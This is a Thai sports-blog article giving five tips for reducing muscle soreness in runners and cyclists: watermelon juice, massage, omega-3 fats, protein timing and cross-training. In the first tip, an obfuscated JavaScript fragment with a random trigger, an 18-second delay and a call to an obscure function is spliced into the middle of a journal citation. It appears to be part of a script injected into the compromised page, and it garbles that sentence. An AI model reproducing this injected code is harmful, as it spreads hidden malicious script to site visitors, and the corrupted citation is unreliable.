• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

5 วิธีการลดอาการปวดเมื่อยกล้ามเนื้อ ( 5 ways to minimize muscle soreness)

stepextra by stepextra
25 October 2016
in Feature, Healthy Tips, Tips & Technics, Training
0
5 วิธีการลดอาการปวดเมื่อยกล้ามเนื้อ ( 5 ways to minimize muscle soreness)
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

จินตนาการสภาพตื่นนอนใหม่ๆ พร้อมกับอาการปวดกล้ามเนื้อแบบเเทบจะยกตัวไม่ขึ้นดู เเล้วคุณจะรู้ว่ามันหนักหนาขนาดไหน ไม่ว่าคุณจะเป็นนักปั่นหรือนักวิ่ง เมื่อเราใช้กล้ามเนื้อถึงขีดจำกัดของมัน อาการปวดเมื่อยกล้ามเนื้อก็จะเริ่มถามหา (muscle soreness)…เเต่ข่าวดีวันนี้ เราขอเเนะนำ 5 วิธีช่วยลดอาการปวดเมื่อยกล้ามเนื้อ

1. รับน้ำเเตงโมเพิ่มมั้ยคะ

watermelon-932748_640

จากการวิจัย ของ Journal of Agriculture andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Food Chemistryพบว่าคนที่ดื่มน้ำเเตงโมก่อนออกกำลังกาย (ปั่น indoorcycling) จะพบอาการปวดเมื่อยกล้ามเนื้อลดลง ในวันถัดไป ทั้งนี้เพราะเเตงโมมี สารอาหาร amino acid L-citrulline ที่ช่วยกระตุ้นการไหลเวียนของเลือด ทำให้สารอาหาร ออกซิเจน ลำเลียงไปส่งกล้ามเนื้อได้มากขึ้น ส่วนประโยชน์อื่น มันหวาน มีน้ำเยอะและอร่อยมากครับ…ส่วนใครที่หาน้ำเเตงโมไม่ได้ก็ลองดูน้ำเชอรรี่ บีทรูทเเละน้ำส้มดูได้ครับ สรรพคุณคล้ายๆ กัน

2. นวดกล้ามเนื้อ

การนวดกล้ามเนื้อขอเเบ่งเป็นการนวดด้วยตัวเองโดยใช้โฟม (Foam Roller) ใช้คลึงกลิ้งไปมาเพื่อคลายปมกล้ามเนื้อ (Trigger point) ถ้าใครชอบเเบบซาดิสนิดก็ขอเเนะนำการนวดเเผนไทยครับ หลักการทำงานคล้ายๆ กัน มีการบังคับให้เลือดไหลเวียนนำพาอาหารเเละชะล้างของเสียออกไป ขณะเดียวกันก็ช่วยคลายปมกล้ามเนื้อ เพียงเเต่การนวดเเผนไทย จะกดได้ตรงจุดมากกว่าการใช้โฟม

exercise-1284370_640

นอกเหนือการนวดเเล้วยังมีการเล่นโยคะ หรือท่ายืดเหยียดกล้ามเนื้อที่อยากให้เพื่อนๆ ลองเล่นดูนะครับ

3. ไขมันคุณภาพดีห้ามลืม

เวลาที่เราออกกกำลังกายเยอะๆ กล้ามเนื้อจะมีความเครียดและการฉีกขาดกล้ามเนื้อสะสม เกิดอาการอักเสบเเละทำให้มีอาการปวดเมื่อยเกิดขึ้น พวกกดไขมันจะช่วยรักษาอาการอักเสบ แต่ถ้าพูดถึงไขมันคุณภาพดี คงนึกถึงกรดไขมันomega-3 ใช่มั้ยครับ สามารถหาได้ตามเนื้อปลา ปลาไทยน้ำจืดก็มีนะ อย่าง ปลาสวาย ปลาช่อน ปลาดุก (ที่มา Omega 3 คืออะไรและมีความสำคัญอย่างไร) เมล็ดธัญพืชต่างๆ อย่าง อัลมอนและถั่วเหลือง เป็นต้น

 

TodayHealth.org
TodayHealth.org

4. เลือกกินโปรตีนคุณภาพดี

กล้ามเนื้อสร้างมากจากโปรตีน หากเสียหายก็ต้องซ่อมเเซม ทำให้การรับโปรตีนเลี่ยงไม่ได้เด็ดขาด ไม่ว่าคุณจะเป็นสายคาร์ดิโอหรือ body builder เเต่มีสิ่งหนึ่งที่เรามองข้ามนั้นคือ ช่วงเวลาในการรับโปรตีน ในขณะที่เราออกกำลังกายหนัก นักวิ่งหรือนักปั่นอย่ารับเเต่ powergel ที่ให้พลังงานอย่างเดียว ลองรับ powerbar ที่มีโปรตีนผสมดูนะครับ จะสามารถช่วยกระบวนการสร้างและซ่อมเเซมกล้ามเนื้อได้เร็วขึ้น ลดอาการบวดเมื่อยกล้ามเนื้อได้เร็วลงด้วย

market-897990_640

5. ผสมผสานประเภทกีฬา

ถ้าคุณเป็นนักวิ่งก็ลองเปลี่ยนมาปั่น หรือว่ายน้ำดูก็ได้ หากเป็นนักปั่นก็ลองเลือกวิ่ง ว่ายน้ำหรือ จะเป็นการเล่นโยคะ เล่นเวท เพื่อปรับเปลี่ยนมัดกล้ามเนื้อที่ใช้งาน เพราะการทำอะไรซ้ำๆ ไปมากล้ามเนื้อชุดนั้นย่อมล้าลง การเปลี่ยนประเภทกีฬาจะช่วยให้กล้ามเนื้อชุดอื่นๆ ได้ทำงาน เเต่ขณะเดียวกันก็ยังรักษาระดับความฟิตไว้ด้วย

swimming-1265932_640

แต่ที่เเนะนำ อยากให้นักกีฬาได้ใช้กีฬาว่ายน้ำในการรักษากล้ามเนื้อ หรือทำ recovery workout นั้นละครับ เพราะน้ำให้เเรงกดดัน คล้ายๆ กับการนวด อีกทั้งการว่ายน้ำยังเป็นกีฬาเเบบ low impact และสามารถใช้มัดกล้ามเนื้อได้ทุกส่วน เป็นการออกกำลังกายเเบบเเอร์โรบิคด้วย

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.